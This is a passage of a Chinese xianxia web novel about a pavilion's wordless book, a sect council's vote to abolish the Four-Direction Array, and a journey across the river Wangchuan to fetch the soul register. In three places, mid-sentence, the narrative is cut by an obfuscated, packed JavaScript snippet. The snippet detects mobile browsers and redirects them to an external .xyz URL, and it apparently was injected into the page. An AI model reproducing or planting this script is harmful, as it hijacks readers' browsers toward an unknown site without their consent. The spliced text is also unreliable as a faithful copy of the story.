暮色已深,双化阁大门紧闭。今夜无风,头顶上,檐角悬挂的玉玲纹丝不动。花沐雨微微躬身,见礼之后,轻轻推开了双化阁的大门。 门一打开,楼梯扶手边的灯盏盘旋着依次燃起,一直蔓延到最高处,照亮了九层通天的双化阁内部。 花沐雨推测不错,此时夜深,双化阁中除了她再也没有其他人。 她从身后将门掩上,自门边的烛台上取下一盏灯,缓步拾阶而上。 这些灯是双化阁内特用的极海冷焰,罩在琉璃罩内,专供阁内照明之用,而无走水之虞。 若是站在外面看,双化阁通体白玉,一阁九层,高上摩天,巍峨雄伟,令人望之叹服。 然而一进入其中,方知外面能看到的还是太有限了。 玄妙奥古的术法使双化阁内的空间绵延折转,问道者极目仰望,目力穷尽于天顶的一个黑点,却无法探知那个黑点到底是人目力的尽头还是双化阁的尽头。 入阁时取下的灯盏,既是阁中的照明,又是行走在阁中的路引。若非手中执灯,怕是会迷失在无数经典之中,找不到自己的路。 花沐雨此次前来,主要是为了找到四方阵的阵法详要和三界史料。阁中二层,书橱深处,她借着灯光,将抽出来的籍册放回空位,有些疲惫地呼出一口气。 双化阁中确实有四方阵的记载。但也确实如补远派所说,当今的凌虚界,再也延续不起这个四方阵了。 四方阵开辟之初,倾尽当时凌虚界全界之力,于龙江望海口、当央明光顶、赤地琉璃眼和巴彦狼阴山设立东西南北四处界柱,又在万方虚空境设阵眼,依旧四方五行属性,镇之以建木、精金、南冥离火、弱水、息壤五种五行灵物,界柱即是如今的界门。 在四方阵中,五行相生相克是基础的运转法门。而四方阵与一般阵法的不同之处在于,四方阵立阵的根本有二,一是阵眼万方虚空境,二是东界门,龙江望海口。 之所以如此,只因东方所镇的木行灵物建木,是除阵眼外,四方阵能起阵的本源所在。 有木青叶紫茎,玄华黄实,名曰建木。建木百仞无枝,有九欘,下有九枸,其实如麻,其叶如芒 ,是传说中能够沟通天界与凡间、可做天梯的神木。正是有了建木这一可以沟通天界与凡间的灵物,四方阵才可以打通凌虚界与人间界之间的壁垒,将灵气在两界之间传递,使一丝灵气也无的人间界能够得到灵气的滋养,得以在天道既定的人间浩劫中延续。 而三界中最后一株建木,是昔日的鸪川之主有容的本体。 江流圣人薛心开辟四方阵的时候,有容自取一方本体,镇在龙江望海口,四方阵才最后辟成。之后凛岳满门因为护守东界门而死,有容身故,鸪川一并遭天谴灭门,这都是外话了。 就现今而言,她可以上昆仑取弱水、访寰宇寻离火,但有容已死,三界内再也找不出第二株建木了。 看完阵法的详要,花沐雨取下放在一旁的灯盏。这些了解叫她思绪沉沉,但她不能耽搁于此,她还要去找三界的史料,才好了解人间浩劫与辟界之战的前因后果。 史料存于七层,她手持灯盏,低头上着楼梯,心中还想着五行灵物之事。余光中,忽而捕捉到灯光的摇动,她一回神,抬手护住灯火。极海冷焰从不似寻常灯火,这还是她第一次见到这灯火也会摇曳。她心中升起一丝疑惑,抬头想看看自己到了第几层。 只是楼阁中并无标识,上看书海茫茫,下看也是书海茫茫。花沐雨回忆了一下自己转过几道楼梯的弯折,估摸着自己应该是在七层。 虽拿不准自己走到了哪儿,她也不是特别担心。左右每层所存放的书目类别有定,她只消去本层的书架上随便找本书看上一眼,便能知晓。 于是花沐雨又走了两步,来到离自己最近的一层。 楼梯对面便有书架,她将灯在一旁的灯架上放好,随便抽出一本书来,翻开一看,却眉头一皱——这本书竟然是空白的,上面一个字都没有。 花沐雨心中奇怪,将它放回去,又从旁边抽了一本,不由得疑惑更甚——这本书,竟然也是空白的。 花沐雨凝眉,一连从周边不同的书架上翻了四五本,本本都是空白。 她心中不解,拿着一本空白的书凑近了灯盏反复细看,仍旧一无所获。 从没听说过双化阁中有没有字的典籍。花沐雨犹疑,考虑书页上是不是有什么隐秘的刻录方式,于是用手指在纸面上细细摸索。就在她指腹触及柔滑纸面后的片刻,页面上缓缓洇出三个字:无字书。 花沐雨愣住了。 无字书?什么是无字书?她从没听过双化阁中存在无字书。 不过是心念电转,书页上的文字已然发生变化: 无字书,知汝所思,答汝所问。 花沐雨的眉头再次皱起,近乎触火般收回了触碰纸面的手。双化阁禁兵戈,禁石火,九层通天,古今圣人之言皆在其中,邪祟魍魉不得入内。若非如此,她简直要以为这是什么邪术魔书。 但这真的不是什么邪术魔书吗? 随着她指尖的离开,书页上的字迹慢慢消失不见。花沐雨担心有异,又走到很远之外的书架,每本翻看,每本都是无字书;她快步上一层楼,下一层楼,每层楼、每个书架上、每本书,都是无字书。 不对。花沐雨沉下心,她肯定着了道了。这处空间更像是一道法阵,只怕灯光晃动的刹那,自己便已经被困在阵中,被逼着只能翻看这些无字书。 什么人竟敢在双化阁中布阵,又是什么人,竟能在双化阁中布阵? 双化阁内妖邪和魑魅魍魉不得入,这阵法,难不成真的是无害的吗? 灯光在琉璃罩下岿然不动,花沐雨站在书架前,手指前是这一排书的最后一本。 既然这阵法的意图在于无字书,自己或许不该遵照阵法的意图。然而指尖即将触及前,她心中升起一个诡异的念头——若无字书真能够回答我的疑问,那么,它知道怎么才能救下所有人吗? 倒不如顺着布阵者的指引,看看这人到底想要干什么。 一念之间,她的指尖已经摸到这最后一排书的最后一本。四周的空间平静如初,她抽出这本书,打开。 纸张上缓缓出现一行行秀丽清峻的字迹。 兹岁在秋,吾于万方虚空境悟道,浮云破碎,仙界在望。 至此一时,吾圆心澄明,遂见万因万法,知百世未来。悲哉叹矣,千载修行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297069|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,生息百代,未想大道有穷途,一夕天倾地覆,谓我族类,万劫不复。 帝坐仙宫,邀吾仙寿永享、因果不沾。吾断天梯,辞帝去,取离火,求弱水,借息壤,凿精金,请建木,而立四方阵,即倾凌虚之力与人间共存亡耳。 帝自不许,神佛在天,天罚立至,日月齐愔,江河倒灌,凛岳血浸龙江望海口,昆仑折陨,鸪川玉碎,大阵始成。 天视自我民视,天听自我民听。万方有过,在予一人,今我必往。 吾做尘泥,而人间尚未得安枕。吾倾凌虚之力,不过得四方阵之半数。昔日上拜离天境,我与圣人作誓。三百年后人有知,需做逆转四方阵,彼时界壁不再,大道仍存,可保人间千秋万代。 短短一页,花沐雨目不转睛地看完。心神犹在震动,而双睫一眨,眼前一切闪瞬消失不见。 那一刻,她仿佛有种失足落入万丈深渊的慌乱。然而灯火摇动,醒神后,她仍在那道楼梯之上,上有书海茫茫,下也是书海茫茫,独她攀登过半,却茫然不知所至。 什么叫“得四方阵之半数”?什么叫“需做逆转四方阵”?什么叫“倾凌虚之力”?什么叫“与人间共存亡”? 花沐雨心中忽然有了一个很可怕的猜想,她好像明白了为何寻常阵法阵眼只有一个,而对四方阵而言,中央阵眼和东界门都如此重要。 四方阵以五行相生相克为基础的运转法门。东方属木,金克木;西方属金,火克金;南方属火,水克火;北方属水,土克水;中央属土,木克土。 建木之能,可做连接天地的天梯。建木属木,依五行之属,建木镇东方,四方阵成;逆五行之属,建木镇中央,四方阵逆。 四方阵需要先立后逆,这才是薛心当初所构想的完整阵法。 四方阵成,可以打开界门,为人间界传递灵气,那逆转四方阵,又可以做到什么? 整个凌虚界当初,想要做的,到底是什么? 三百年前的那场天罚,说是为了四方阵。可天罚降下,只惩罚了当时辟阵的人,四方阵安然无恙,在辟界之战后运转了三百年。 天帝想要阻止的,究竟是什么? “昔日上拜离天境,我与圣人作誓”。离天境是什么,圣人又是谁,她作了什么誓? “她”……又是谁? 是谁在双化阁内做了将她拉入进去的阵法,是谁做了无字书,无字书真的不是什么邪术魔书吗? 有多少人看过了无字书。 无字书上所说的,是真的吗? 双化阁中寂然无声,她手持不动不摇的极海冷焰,仰头看着没有尽头的天顶,心中被疑惑填满。 “谁!”忽然一声压低的断喝响起,打断了花沐雨的思绪。 花沐雨眉心一跳,护住自己的火焰,余光中见黑衣人一闪而过,不明所以,正要追去,便被人摁在肩上。 花沐雨拧身回击,这才发现摁住她的人竟然是古月。 古月皱着眉:“你什么时候在这儿的?” 花沐雨眸光往黑衣人离去的方向一扫,黑衣人早已无影无踪了。 “我早便来了。”花沐雨道,“古月长老缘何深夜在此?” 古月不悦地看着她,思索了一会儿,没有说话,自顾自转身走了。 看着他的背影,花沐雨犹疑更甚。 51.斡旋各方匆匆定 “补远派同意支持我们的决断了。”青弋派的议事长老莫如归语气中带着振奋,“他们与我们谈不拢的就是四方阵,只要我们不坚持延续四方阵,他们也是不想对人间浩劫袖手旁观的。” “拒马门也同意了。”西河派的议事长老安宜进说,又数道,“拒马门、补远派都支持我们的决断,再算上长河门一系,我们约莫能获得八成左右的支持。只是要说十拿九稳,还是不太敢保证的。” “你和长河门说过了?”青弋派的议事长老莫如归问。 西河派的议事长老安宜进一哂:“江流派对人间之事袖手旁观,长河门自然不会坐视不管。” 他说得隐晦,青弋派等人不知道,小南国和凛岳等人心中却清楚,西河派就是长河门一系的。长河门和江流派各为东南和西北水系两脉法修的魁首,各有主张。西河派在他们这边斡旋,想必长河门也在旁处出力,目的便是要推动七十九门会通过他们想要的决断。 只是,即便知道决断背后各有心思,但只要长河门指使下的西河派提出的决断符合他们的期望,他们还是会支持的。 “不要放松得太早,难保江流派从中斡旋,做出什么保证,将别的门派争取过去。”小南国的议事长老川柏道。 “汉水多半不会表态。”九华派的议事长老道,“他们一向主张追求自身的发展,而不关心与自己无关的事。” “南渡派会反对吧?”九华派另一个议事长老问道,目光看向西河派。 “不一定。”西河派的议事长老道,“我同冷盈交谈过,她是作壁上观的。” 冷盈是南渡派这次的议事长老。 青弋派的议事长老在心里盘算片刻:“这也够了,今日的票决,我们有八成的把握。” “决断都已经按照我们昨天商议的起草好了?”小南国的议事长老川柏再次问道。 “起草好了。”安宜进唤来弟子,弟子为他呈上一枚玉笺。他转手将玉笺交给川柏:“废四方阵,依幽冥魂灵簿,择凡人及凡间万千生灵中各种数员,接引上凌虚,安置在昆仑、鸪川。依魂灵簿所择,皆为有大功德、品行高洁者。各门派若有意,也可收入门下。” 川柏手持玉笺查看,安宜进又在一旁补充道:“一早已经着弟子向莲花岸提上去了。江流派那边并没有提决断上去,今日要票决的只有我们这一份。” “想来他们是想着,只要我们的决断不成即可了。”川柏还在看着,闻言说道。 “我也猜是如此。”安宜进道,“江流一脉的法修也走动频繁。” 川柏并不特别关心法修的派系之争,将决断看完,放在桌上:“无论如何,都不能对人间袖手旁观。” “正是如此。”安宜进收回玉笺,递给身后的弟子。 西河派的弟子看了看天色,垂首在自家门派的议事长老身后提醒道:“时间差不多了,我们该动身去莲花岸了。” 今日的票决也是在昨日议事的莲花岸举行。 他的声音不大不小,虽说是提醒了自家长老,但在场的众人都能听到。 经他提醒,众人确认一番时间,确是时候,于是纷纷起身。花沐雨跟在燃灯身后,随着众人一起出去,心思却不在这边。 昨晚古月离开之后,她又登上七层,在史册中找到了关于离天境圣人的讯息。 据传,当前世上最后一位化道圣人便是居住在离天境春宵宫。只是他化道后便行踪飘渺,似乎无人得以窥见。 此前证道的天帝、佛祖、道圣,关于他们如何证道、所证何道都有详细的记载,而到了这一位深居离天境春宵宫的圣人这里,这些本该有的记叙却都语焉不详,匆匆带过,只看得出这位似乎是一位颇为风流的圣人,于三界内处处留情、多处有染。 看的时候,花沐雨的眉心便拧成了疙瘩。这是证得什么道? 等她再翻,关于离天境在哪里、要怎么过去,乃至谁去过离天境、是不是和圣人对过誓,却是一丁点记载都没有了。 之后花沐雨又查找了关于大道穷途和人间浩劫的记载,史册中也只记下寥寥几笔,事是确有其事,但前因后果和牵涉的人员都并未说清。 她心里存着疑惑,而不知向何处求证,只得先在心里反复揣度,又犹豫要不要请教燃灯,自昨晚离开双化阁后便挂心至今。 再次来到莲花岸,依旧是不久前的格局。 金铃敲响,主持弟子道:“今日决断,由长河门、小南国、西河派、青弋派、九华门等一并提出。” 花沐雨朝江流派的坐席看了一眼。古月带着江流派的弟子坐着,面色坦然,似是早有预料。 随着主持弟子的话语,莲心上空缓缓浮现出金字,上书闭四方阵、取幽冥功德簿、择凡人入凌虚、安置于鸪川昆仑等早前他们商量好之后撰写出来的决断。 主持弟子道:“请西河长老为此决断立言。” 按照流程,此时便是由提出决断的门派来讲解决断,附带争取其他门派赞同的时间。 安宜进的莲座发出微微的金光,他朗声道:“诸位仙友,在彼一时,吾辈便曾提及,吾等商议的根本,在于人间浩劫,而非四方阵,望诸位仙友不要舍本逐末。挽救生灵涂炭,并非只有延续四方阵一途;延续四方阵,也非挽大厦将倾的正途。还请诸位仙友细思量。我等所作之决断,可请幽冥魂灵簿。天道所至,人间浩劫难免,唯有延续人间的火种,才可留待来日计较。” 立言长篇大论,一些门派此前早与西河派等商议过,对决断的内容心中有数,也明白自己要做什么,故大多颇为淡然。部分门派没能参与到事先的商量中,此时各有考量,反应不一。 花沐雨听了一耳朵,便走了神,直到主持弟子再次敲铃:“请各派考量,一炷香之后票决。” 说罢,他点起一根细细的香,青烟袅袅,盘旋在案桌之上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297070|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “困了?”坐在前面的燃灯似是留意到花沐雨的走神,轻声问道。 花沐雨吸了口气,叫自己精神一点,垂首道:“是有一点。” “快结束了。”燃灯低声安抚她道。 “如果决断能够通过,是由我们各派派人一起去幽冥取魂灵簿吗?”花沐雨问。 “决断通过与否,此时还尚未有定论。”燃灯说,“你还没到过幽冥吧?要是说去,倒也不妨一起去看看。” “你去过吗?”花沐雨问燃灯。 燃灯道:“去过。我哪像你这样老待在家里,我年轻的时候,大江南北、三界上下,那可是走遍了。” 花沐雨勾唇一笑:“挺好。” 一炷香的时候一闪而过,主持弟子再次撞铃,宣布道:“票决开始。” 细细的光芒自各个莲座上飞起,飞入弟子案前的小鼎之中。小鼎宝光流转,直至最后一道白光投入,小鼎缓缓旋转升空,于半空中渐渐变大,最终变为金色,莲心上的决断文字也变得光华流转。 “决断通过了!”安宜进喜道。 参与决断的人们纷纷欢庆。花沐雨留心了一下,补远派赞同,南渡和汉水都投了废票。数下来绝大多数门派都同意西河派的决断,只有江流派并些微几个小的门派投了反对,想来长河门和西河派在其中出力不少,但能有这么多门派赞同,也确实公理自在人心。 花沐雨望投了反对的门派那边看了一眼,燃灯留意到她的视线,淡淡道:“早年也有人给我递过萤石法器、天才地宝,买我凛岳一票呢。” 花沐雨回头看了看燃灯,明白了他的意思。 除去坚定袖手旁观的、坚定不能袖手旁观的,凌虚界七十九门,对此无可无不可的大有人在。七十九门会上的决断,有人针锋相对,也有人持着手中一票待价而沽。 都是平常事。 “嗐,都没什么意思。”燃灯低声念叨着,像是要对花沐雨说,又像是要说给自己听,“多简单的事,偏要自己搞得复杂,又用这复杂来做自己的枷锁。” 至此,七十九门会的议程基本结束,剩下的,只是长河门西河派小南国等作为决断方来安排接下来的取魂灵簿、构建安置处等事宜,其余无大相干的人员已经可以各自散去。 穆西琳与花沐雨依依惜别,万千叮嘱日后要多往来多联络。只是她要依依惜别的人很多,所以也没有耗费太长时间,便往别处去了。 似乎有不少年轻弟子在这短短两天里就结下了颇为深厚的情谊,拒马渡前人声鼎沸,比这两天中的任何一刻都热闹。许多人聚在渡前不肯离去,似要借最后一点时间,再说无穷尽的话。 花沐雨在圈外抱臂看着,等燃灯与川柏等人商量停当回来,师徒二人没有多做停留,挑了人少的路口,悄悄地去了。 “回去松泛松泛,等川柏传信一到,便可去幽冥取魂灵簿了。”飞剑上,燃灯这样说道。 52.浊积难返停忘川 虽然长河门和西河派的决断得到了超过八成的支持,但谁又能迫使反对的江流派等去遵循长河门的决断,谁又能迫使各门各派一定要出多少力、不出力的又能如何惩罚呢? 七十九门会只能算是为凌虚界的各个门派提供了一个能够坐下来一起商量和讨论的地方,实质上凌虚界各门各派各自为政,凌虚界,或者说七十九门会,并没有一个能够号令所有门派的能力。 各门各派出现在七十九门会,并且通过各种方式达成共识、使自己的决断能够在七十九门会上通过,也为了占明大义。 若说有用,也有用;若说无用,也无用。 像这次使用魂灵簿这样的方式,算是得到了大家的默认,只求到时候施行时不要收到阻碍才好。 放下别处如何不谈,外出几天,燃灯和花沐雨终于回到了凛岳。 山上他们不在的这几天相安无事,又过了几天,小南国的鹤纸便送到了。 “长河门、西河派、小南国、九华派将要派遣弟子前去幽冥界,我准备让你同去。”门生堂内,燃灯对花沐雨道。 花沐雨低着头坐在对面,嗯地应了一声。 燃灯道:“这几日看你总有些神思不属。” 花沐雨闻言抬起头来看向燃灯,燃灯继续问道:“有什么烦心事吗?” 迎着燃灯的目光,花沐雨垂头一笑:“没什么。没什么烦心事,只是发发呆罢了。” 燃灯看着自己这个徒弟,心中挂着沉沉的情感,有疼爱,也有担忧。 “最近你总是闷闷不乐的样子。”燃灯道,“你小时候又活泼又伶俐又厉害,哪像现在这样,整天心事重重,不抬头看人,也不笑了。” 花沐雨笑了:“师父,我也上了年纪了。” 燃灯说的是她刚上凛岳那段时间吧,那时她离开北境,离开武英殿,来到一个全新的、清净的、自己想都没想过的、美好的地方,她确实是轻松的、向往的。那时她潜意识觉得自己不属于这个这么好的地方,但她那么想留下来。 所以怎么会不活泼,不伶俐,不厉害。 燃灯笑骂道:“去。你上了年纪,那我成什么了。” 花沐雨也笑:“您才三百多岁,正年富力强的时候,是凌虚界的中流砥柱呢。” 说到这里,燃灯也有些感慨:“谁家三百多岁的修士,老成我这个样子。” 他看着门外的远山,一时间神情和花沐雨之前一样了。 曾卧雪走进屋来,将一叠凉菜放好:“怎么干坐着?吃饭了。” 花沐雨移开桌上的杯子,将凉菜放到里面。曾卧雪放下凉菜,转身又出去拿别的。花沐雨问:“西河派那边说几时出发?” “三日后。”燃灯转过来,“到时候去当央明光顶,从弱水神宫去幽冥。” 当央明光顶。 花沐雨了然颔首。那是早已荒无人烟的昆仑旧址,她只听过,并没有去过。 “你去时要格外小心。”燃灯道,“弱水神宫地上的部分去得,你们这一行,去地上部分也尽够了,地宫的部分,你等非昆仑血脉,是万万不可踏足的。” “这是为什么?”花沐雨问。 “地宫是他们族内秘地。”燃灯说着,曾卧雪端着另外两盘菜回来了,他便止住了话头,一语带过,“不是他们的血脉,是进不去的。” 花沐雨接过曾卧雪手上的盘子摆好,问:“还有吗?” “还有一盘。”曾卧雪道,“我和饭一起端过来,不用你。”说罢,又出去了。 “早前七十九门会上,古月似乎说取弱水颇为不易。”花沐雨又问燃灯,“既然弱水神宫常人也能去一部分,我们不是可以轻易取到弱水吗?” “非也。”燃灯道,“弱水神宫的地上部分,所有的只是神山雪融水,并非弱水。弱水只有地宫才有,那里就不是外人能踏足的了。” “是有什么机关吗?”花沐雨随口问。 燃灯瞅了她一眼:“你想去看看?” 花沐雨一愣:“没有,我就是好奇。” 燃灯看着她:“地宫外机关阵法,九死一生。即便过了那些,不是昆仑血脉,你连大门都进不去。你向来稳重,可别弄那些什么私闯禁地的事。” 花沐雨勾唇一笑:“弟子记住了。” 不多时,曾卧雪去而复返。桌上摆好饭菜,师徒三人坐下用餐。 “那我还得提前些,先去当央明光顶和他们会合。”花沐雨吃着饭,说道。 曾卧雪一愣:“你又要走?” “是去幽冥界,取魂灵簿。”花沐雨道,“和西河派等的弟子同去,左不过一日就回来了。” “啊。”曾卧雪应了一声,继续低头吃饭了。 半晌,他又问:“我不能跟你一起去吗?” “用不到你。”燃灯抢先说道,“取趟东西,兴师动众的,还要派几百个人去吗。” “师父你近日还要闭关吗?”花沐雨问,“若是不闭关,山上有您也就够了。这些年卧雪一直在山上,哪儿也没怎么去过,和我去幽冥走一趟,也没什么。” “用不着。”燃灯仍道,“咱们去一个人就够了。” 花沐雨看看曾卧雪,燃灯不许,曾卧雪顺嘴一提,也没什么办法。 三日后,花沐雨出发前往当央明光顶。 她仍没有带剑,用灵气化剑,御剑而去,一路西行,远远地,就看到了昆仑绵延不断的雪山。 及至当央明光顶处,仍是只有她一个。她四处打量,所谓的弱水神宫,其实地上部分只剩残迹。她认不出是什么材质,只知道是某种白色的石材,折断着,倒了一地。 当中一面巨大的湖泊,竟然像是用这种白色的石材挖出一个巨大碗,将这面巨大的湖泊盛在碗中。湖水碧蓝,整个石碗浑然天成,但这面湖泊如此巨大,花沐雨想不出世上怎么会有这么大一块完整的石材。 湖泊的岸边铺了一些地砖样的东西,但并不多,仍留出很多黑色的土地,上面长着扎实的野草地。 从此处望去,苍茫的雪山与山下的河谷依稀可见。极目远眺,人在广袤的天与地之间渺小如沧海一粟,叫人凭空生出几分开阔与旷达。 等了一会儿,其他几个门派的弟子有说有笑地一起前来。 几人互相见礼,来的是长河门穆西琳,西河派厉以远,小南国瓦韦,九华派奚常为。 中间花沐雨只和穆西琳略熟悉一些。 “人都到齐,我们便动身吧。”奚常为背后背着剑,道。 厉以远拿出幽冥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297071|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信物,此前西河长老已经和幽冥界的鬼差通过书信,说明了暂借魂灵簿一事。 弱水神宫可以沟通幽冥,只需将幽冥信物投入其中,就可以打开幽冥界门,将他们送到忘川河边。 众人来到湖泊边,厉以远将那块黑色令牌一样的信物掷入那面湖泊中。 平静的湖面不起一丝波澜,花沐雨注视着那面令牌落入水中,像是溶解了一般,稀释出大量的黑雾,逐渐侵染了他们面前的整块湖水。 而后只听哗啦一声,湖水被不可见的力量割开,临近他们处一丝水也没有,只有缓慢流动的黑雾。 几人互相看看,相继踏入黑雾中。 落脚时竟然是踩在实地上的踏实脚感,花沐雨往前走了两步,眼前豁然开朗,一丝黑雾也不见了,映入眼帘的,是一条黑色的长河,远处的山泛着干枯的红褐色,长河两岸赤地千里,却盛开着一团团赤红的曼珠沙华。 他们已到了忘川河畔。 奚常为最后一个穿过黑雾。在他离开后,黑雾消失不见,只在原地留下他们一行人。 穆西琳往前走了几步,打量着黑色的河水:“这就是忘川吗?我们怎么过去?” 花沐雨也走上前去,这才发现,这河水远看是黑色,实际只有河底是黑色,其上的河水清澈近乎透明。看着极深,却能清晰地看到河底。盯着久了,河底的黑色仿佛还在涌动流淌。他们面前的仿佛不是一道河水,而是万丈深渊一般。 引完路之后,幽冥界的信物又化作黑色的令牌回到了厉以远手中。 几人都来到水边,但没有人敢轻易触碰这里的河水。 说是河水,其实忘川河极宽。众人正一筹莫展,便看到自对岸缓缓飘来一个黑点。 凝眸看了片刻,穆西琳喜道:“有船!” 厉以远恍然:“是忘川河上摆渡的船家。” 小船似慢似快,飘忽间来到挑着灯的渡头。 这真是很简陋的一艘小船,船头也挑着灯。乘船的老丈头戴斗笠,看不清面容,低声道:“诸位,上船吧,我渡诸位过河。” 穆西琳指尖一抽,心中发毛,隐晦地看了一眼花沐雨。 他们一群大活人,这老头说的过河,别是真的要把他们送到幽冥去吧。 不过这么说也没错,他们确实是要去幽冥。但是这么说也不对,他们是要去幽冥,但不是“去”幽冥啊。 其他人都没什么反应,穆西琳也不好表现出来。花沐雨首先踏上了小船。 船身一晃,水面上涟漪缓缓荡开——在他们登船之前,小船行驶在忘川河上,从来都是没有波纹的。 人员上齐,满满地站了一船,再多一个人,都是要站不下的。 艄公长篙一支,将船推离岸边,朝河对岸缓缓驶去。 穆西琳还是有些紧张,贴在花沐雨身边。小船仿佛行驶在空谷之上,花沐雨盯着下方,恍惚间有些晕眩。 “船家,忘川水底为什么是黑色的。”花沐雨问。 “那是晦。”船家缓缓道,“天地万物,生时极清,清久必浊,浊积则垢,垢极则毁,复又极清。如此循环往复,轮转更替。清为灵气,浊为晦。这些黑色,就是凡人轮回在幽冥,不得灵气引化,堆积在这里的晦,流淌在忘川水下。” 53.何处有渡船 花沐雨看着忘川水下的晦,再一次出现了他们在涌动的幻觉,不得不闭上眼睛抬头缓一缓劲儿,又望向远处。 远处的彼岸花如淡淡的烟雾,花沐雨又问:“船家,幽冥中有彼岸花的精灵吗?” “或许曾经有吧。”船家淡淡地说,“那时冥主尚在,常常乘船在忘川上飘荡,忘川河畔的彼岸花受冥主气息引动成为灵物,也未可知。” “如今冥主不在了。”花沐雨道。 “冥主早就不在了。”船家道,“早已随着时间更迭消亡了。” 不等她细问,船身微微一颤,已经靠岸。 “年轻人,到啦。”船家道。 几人依次下船,船家撑开长篙,向离开岸边的方向驶去。 “接下来怎么走?”穆西琳问,“这里怎么一个人都没有?我听说幽冥不是有鬼差吗?” “这里只有一条路。”厉以远道。 他们在商量着,花沐雨看着远去的船家,忽听河中恍惚有人朗声念道: 传有凌虚倒人间,七十水路九重山。 戴月随风杳然去,不见尘寰三千年。 上引东天神仙近,下隔黄泉幽冥远。 坐揽云霞飞白鹤,俯观沧桑轻流年。 未想大道穷途至,一夕命悬天地间。 八千弟子填一窟,女圣智贤归尘土。 生年须臾石中火,执迷难悟梦里身。 不信天公定去路,残局未竟待来人。 花沐雨听的入迷,穆西琳在一旁饶有趣味地打量着,猛地将她一拍:“嘿!发什么呆呢?” 花沐雨一震:“刚刚船家念的……” 说到这里,她的思路忽然中断了。茫然地回头去看,忘川茫茫,没有船,也没有带他们渡河的船家。 “刚刚你有听到人念了段什么吗?”花沐雨问。 “念什么?什么什么?”穆西琳眼神古怪地看着她,像是怀疑她在这古怪的地方中了邪,“我们准备走了。” “哦……”花沐雨还有些愣愣的,点头应了,跟着几人往前走,心中努力回忆着自己听到的,用力想要记住,却只回忆起一些零碎的词句。 “生年须臾石中火,执迷难悟梦里身。”她无声复诵一遍,暗中攥紧了手掌,像是握住流逝的记忆。此时一切都渐渐模糊了,她的印象里只剩下船家一缕掩藏在斗笠和花白枯发中的红色。 “嘘。” 花沐雨一激灵,只觉有人在自己耳边轻声道:“去鸪川。” 什么? 花沐雨猛然转头,却什么都没看见,只把队伍里的伙伴吓了一跳。 “好啊,你竟然也会捉弄人!”众人只以为她故意玩笑。 在彼岸花从中穿行良久,他们终于来到奈何桥下,也终于见到了一个鬼差。 “自打冥主兵解,我们幽冥全靠往日的几个判官维系着。”鬼差在前面走着,随意晃着手中的令牌,抽打着路旁的花丛,“你别瞅我看着年轻,其实我已经不知道多少岁、是冥主时期留下的旧人了。” “事情太多,人手不够,能派的都派出去了,只剩下我在这里接你们。”鬼差往天尽头一指,“可即便有判官顶事,魂灵轮回转世的事,冥主不在,我们做着也吃力,如今魂灵轮回,大半全靠魂灵簿自行的运转。” 花沐雨顺着他手指的方向看去,只见天尽头矗立着一座恢弘的宫殿,无数闪着白光的灵魂从裂开的天顶投入其中,又有无数白色的灵魂流入代表轮回的漩涡中。 “那上面就是人间。”鬼差道,“如今真是缺人手,几百年了,就来了一个新的鬼差。” “要怎么才能成为鬼差?”花沐雨问。 “我也不知道,这是判官老爷的事了。”鬼差答道。 “轮回转世只靠魂灵簿自行运转,这真的可以吗。”穆西琳怀疑地说。 鬼差瞥她一眼,没搭腔,只是继续介绍道:“诸位,跟我去阎罗殿,就能请下来魂灵簿了。” “现在万物轮回转世都靠魂灵簿,我们请走了魂灵簿,轮回转世怎么办?”穆西琳又问。 这回鬼差倒是回答她了:“嗐,没事儿,打从上古咱们用的就是这一套魂灵簿,你们请个虚影走,能看,也不影响我们这边继续运作。” 不过几步路,鬼差就引着众人走到阎罗殿中。 穆西琳问:“魂灵簿怎么请啊?” 鬼差将阎罗殿的门推开一道缝,请众人进去。 阎罗殿中陈设俨然,只是烛台中的火早已干涸多时,四处都是许久没有使用过的冷落模样。 待几人都进到殿中,鬼差走到王座后方供着的巨鼎前,往前一抓,就抓了一道光出来。松开手指,那道光便化成一页纸的样子。 “怎么请?就这么请。”鬼差拿着那页纸下来,随手往花沐雨手上一递,“冥主都死了,幽冥界都这样了,还有啥穷讲究的,凑合过吧。” 这一页纸颜色泛黄,上面空无一物。花沐雨迟疑着接了,巡睃一圈,众人的注意力都不在自己这边,只好自己保管。 其他人有的被鬼差的态度震惊到,有的正趁难得的机会在大殿中四处打量。鬼差摆摆手:“行了,看差不多了吧?看的差不多走吧。” 在鬼差的示意下,几个人慢吞吞地从大殿中出来。鬼差在后面关上门,对他们道:“我就不送了哈。路不远,沿着原路往回走就行了。” “请问这魂灵簿,我们该如何使用,又该什么时候还回来?”花沐 